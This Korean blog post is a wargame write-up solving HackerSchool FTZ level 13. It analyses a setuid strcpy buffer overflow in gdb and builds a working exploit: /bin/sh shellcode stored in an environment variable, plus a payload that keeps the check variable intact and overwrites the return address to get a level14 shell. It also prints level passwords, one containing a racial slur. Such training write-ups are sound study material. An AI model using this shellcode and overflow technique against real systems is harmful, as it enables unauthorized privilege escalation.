[ftz] hackerschool level13 풀이

l hackerschool level13 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

login as: level13
level13@192.168.31.128's password:

 

 

 

level13 문제의 아이디인  level13 와 password인   have no clue 을 입력하여 level13의 유저로 접속합니다.

 

 

 

[level13@ftz level13]$ ls -l
total 28
-rwsr-x---    1 level14  level13     13953 Mar  8  2003 attackme 
-rw-r-----    1 root     level13       258 Mar  8  2003 hint
drwxr-xr-x    2 root     level13      4096 Feb 24  2002 public_html 
drwxrwxr-x    2 root     level13      4096 Jan 11  2009 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level13 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level13@ftz level13]$ cat hint

#include  <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
     strcpy(buf,argv[1]);

   if(i != 0x1234567) {
     printf(" Warnning: Buffer Overflow !!! \n");
     kill(0,11);
   }
}

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

hint를 보니 argc가 1이 넘어야 하고, i가 0x1234567이 아니라면 프로세스가 종료됩니다. 또한 코드 상으로 i가 buf보다 먼저 선언되었기 때문에 스택 구조를 확인하게 되면 i가 buf보다 더 높은 주소에 있을 것입니다.

 

 

 

[level13@ftz level13]$ cp attackme ./tmp/level13
[level13@ftz level13]$ cd ./tmp
[level13@ftz tmp]$ ls -l
total 16
-rwxr-x---    1 level13  level13     13953 Nov 14 04:13 level13

 

 

 

attackme 프로그램을 ./tmp 폴더 안에 복사하여 만들어주고, gdb로 메모리 구조를 알아보겠습니다.

 

 

 

[level13@ftz tmp]$ gdb level13
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>:    push   %ebp
0x080484a1 <main+1>:    mov    %esp,%ebp
0x080484a3 <main+3>:    sub    $0x418,%esp
0x080484a9 <main+9>:    movl   $0x1234567,0xfffffff4(%ebp)
0x080484b0 <main+16>:   sub    $0x8,%esp
0x080484b3 <main+19>:   push   $0xc16
0x080484b8 <main+24>:   push   $0xc16
0x080484bd <main+29>:   call   0x8048370  <setreuid>
0x080484c2 <main+34>:   add    $0x10,%esp
0x080484c5 <main+37>:   cmpl   $0x1,0x8(%ebp)
0x080484c9 <main+41>:   jle    0x80484e5 <main+69>
0x080484cb <main+43>:   sub    $0x8,%esp
0x080484ce <main+46>:   mov    0xc(%ebp),%eax
0x080484d1 <main+49>:   add    $0x4,%eax
0x080484d4 <main+52>:   pushl  (%eax)
0x080484d6 <main+54>:   lea    0xfffffbe8(%ebp),%eax
0x080484dc <main+60>:   push   %eax
0x080484dd <main+61>:   call   0x8048390  <strcpy>
0x080484e2 <main+66>:   add    $0x10,%esp
0x080484e5 <main+69>:   cmpl   $0x1234567,0xfffffff4(%ebp)
0x080484ec <main+76>:   je     0x804850d <main+109>
0x080484ee <main+78>:   sub    $0xc,%esp
---Type  to continue, or q  to quit---
0x080484f1 <main+81>:   push   $0x80485a0
0x080484f6 <main+86>:   call   0x8048360  <printf>
0x080484fb <main+91>:   add    $0x10,%esp
0x080484fe <main+94>:   sub    $0x8,%esp
0x08048501 <main+97>:   push   $0xb
0x08048503 <main+99>:   push   $0x0
0x08048505 <main+101>:  call   0x8048380  <kill>
0x0804850a <main+106>:  add    $0x10,%esp
0x0804850d <main+109>:  leave
0x0804850e <main+110>:  ret
0x0804850f <main+111>:  nop
End of assembler dump.

 

 

 

level13 파일을 gdb로 분석해보도록 하겠습니다.

 

 

1. 0x080484a3 <main+3>:    sub    $0x418,%esp

0x418을 10진수로 바꾸게 되면 1048이 나오고 stack에 1048byte의 영역을 할당하는 것을 볼 수 있습니다.

 

 

2. 0x080484a9 <main+9>:    movl   $0x1234567,0xfffffff4(%ebp)

hint 코드를 보면 long i에 0x1234567을 할당해주는 것을 볼 수 있습니다. 이 부분의 어셈블리 코드가 바로 그것을 의미합니다. fffffff4를 2의 보수를 취해주는데 fffffff의 경우 1의 보수를 취할 때 0이 되므로 제외하고 4만 2의 보수를 취해보겠습니다. 

 

0100 => 1011 => 1100 => 4 + 8 = 12

i는  ebp - 12 부분에서 시작되는 것을 알 수 있습니다.

 

 

3. 0x080484b0 <main+16>:   sub    $0x8,%esp 

스택에 총 8byte를 할당합니다. 2번에서 ebp - 12 위치에서 i가 시작된다는 것을 알았고, i는 long 타입이기 때문에 4byte만 차지하며 12 - 4인 나머지 8byte는 dummy라는 것을 알 수 있습니다. 즉 3번의 문장은 dummy를 의미합니다.

 

 

4. 0x080484dd <main+61>:   call   0x8048390  <strcpy>

hint 코드에서 보면 strcpy에 총 두 개의 인자가 들어간 것을 볼 수 있습니다. 이 두 인자는 어셈블리 코드에서 strcpy위에 있는 두 개의 push를 의미하고, 스택에는 argv[1]이 먼저 push 되고, buf가 그다음 push 되기 때문에 buf가 ebp - [0xfffffbe8을 2의 보수 취한] 위치부터 시작되는 것을 알 수 있습니다.

 

101111101000 => 010000010111 => 010000011000 = 8 + 16 + 1024 = 1048

buf의 시작 위치는 ebp - 1048입니다.

 

 

 

그럼 이제 메모리 구조를 보도록 하겠습니다.

 

 

 

메모리 구조를 알았으니 환경 변수를 이용하여 level14의 셸을 취득하도록 하겠습니다.

 

 

 

[level13@ftz tmp]$ export SHELL=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level13@ftz tmp]$ echo 'int main(){printf("ADDR->0x%x\n",getenv("SHELL"));}'> getenv.c
[level13@ftz tmp]$ gcc -o getenv getenv.c
[level13@ftz tmp]$ ./getenv
ADDR->0xbffffc15

 

 

 

 

./getenv를 실행시켰을 때 나오는 ADDR이 페이로드를 구성할 때 return 부분에 들어가는 주소이고, hint 코드의 조건에 맞추어 페이로드를 구성하도록 하겠습니다.

 

 

 

페이로드

 ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x15\xfc\xff\xbf"'`

 

i가 0x1234567이 아닐 경우 프로그램이 종료되므로 i전까지 아무 문자로 채워준 뒤, i에 0x1234567를 넣어주고, 다시 return 전까지 아무 문자로 채워준 뒤 return 부분에 위의 ADDR을 넣습니다. 

 

 

 

 

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x15\xfc\xff\xbf"'`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".

 

 

 

 

위에서 구성한 페이로드를 넣고, id 명령을 입력하면 uid가 level14로 바뀐 것을 볼 수 있습니다. 그 후 my-pass 입력 시 level14의 password를 알 수 있습니다.

 

 

 

 

l level14 비밀번호

더보기

Level14 Password is "what that nigga want?".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level15 풀이  (0) 2020.01.02
[ftz] hackerschool level14 풀이  (0) 2019.11.28
[ftz] hackerschool level12 풀이  (0) 2019.11.16
[ftz] hackerschool level11 풀이  (0) 2019.11.14
[ftz] hackerschool level10 풀이  (0) 2019.11.13

이 글을 공유하기

댓글

Designed by JB FACTORY